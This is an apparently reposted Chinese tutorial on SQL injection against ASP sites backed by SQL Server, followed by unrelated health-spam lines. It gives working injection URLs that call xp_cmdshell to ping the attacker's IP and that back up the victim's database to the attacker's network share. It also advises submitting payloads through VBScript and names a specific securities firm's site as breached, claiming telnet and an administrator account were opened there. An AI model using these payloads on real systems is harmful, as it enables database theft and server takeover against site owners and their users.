邹城信息网
星座
当前位置:首页 > 星座

SQL数据库的一些攻击 (2)

发布时间:2019-09-13 20:34:10 编辑:笔名

通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个库有很高的管理权限 但是我们不知道库名该怎么?看看db_name()函数吧 打开你的query analyzer,看看print db_name() ,呵呵,当前的数据库名就出来了 以次类推,如下: declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';-- 呵呵. 他的当前数据库就备份到你的硬盘上了,接下来要做的大家心里都明白了吧 同理这个方法可以找到对方的SQL的IP 先装一个防火墙,打开ICMP和139TCP和445TCP的警告提示 然后试试看news.asp?id=2;exec master.dbo.xp_cmdshell 'ping 你的IP' 如果防火墙提示有人ping你,那么因该可以肯定对方的ASP用的是SQL的管理员权限,同时也确定了对方的SQL Server的准确位置,因为很多大 一点的网站考虑性能,会吧web服务和数据库分开,当对方大上了补丁看不到源代码时,我想只有这个方法能很快的定位对方的SQL Server的位 置了 那么,如果对方ASP没有SQL管理员权限,我们就不能调用xp_cmdshell了,该怎么办? 别着急,试试看这个news.asp?id=2;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';-- 呵呵,你的防火墙该发出警告了,有人连接你的445或139(win9端口了,这样,对方的SQL的ip一样也可以暴露那么如果对方连某个数据库的owner也不是的话,我们该怎么办?下次我会告诉大家一个更好的办法。 其实backuo database到你的硬盘还是有点夸张了,如果对方数据库很庞大,你又是拨号上网,呵呵,劝你别试了,很难成功传输的 下次我们还会谈到如何骗过IDS执行ASP+SQL入侵 目前有些好的IDS已经开始监视xp_cmdshell这些关键字了 好吧,同志们下次见 所有以上url希望大家通过vbscript提交,因为浏览器的地址栏会屏蔽一些特殊字符,这样你的命令就不能完整传输了 window.location.herf=URL 补充:这个问题以前载网上也提出来过,但是只是一些简单的xp_cmdshell调用限制很大,其实这里面还有很多值得深入的地方比如www.guosen.com.cn。国信证卷就有这个问题,而且他们采用ms的三层结构作的用以前说的xp_cmdshell做法就不行了,字符串会被过滤,但是 我尝试了,用sql的异类请求仍然可以在对方的机器上开启telnet服务和administrators组的账号!

由于对方防火墙很严checkpoint数据报进出 都只开放80端口因此,要想获得他的数据库结构比较困难了,但是还是有办法可以做到的:P 顺便提醒大家注意一下关于sqloledb,db_name,openrowset,opendatasource这些系统函数当asp的sqlserver账号只是一个普通用户时,他们会很有用的!

的了脑梗塞怎么办
剖宫产术后长期便秘吃什么
小孩快速止咳小妙招
宝宝健脾助消化吃什么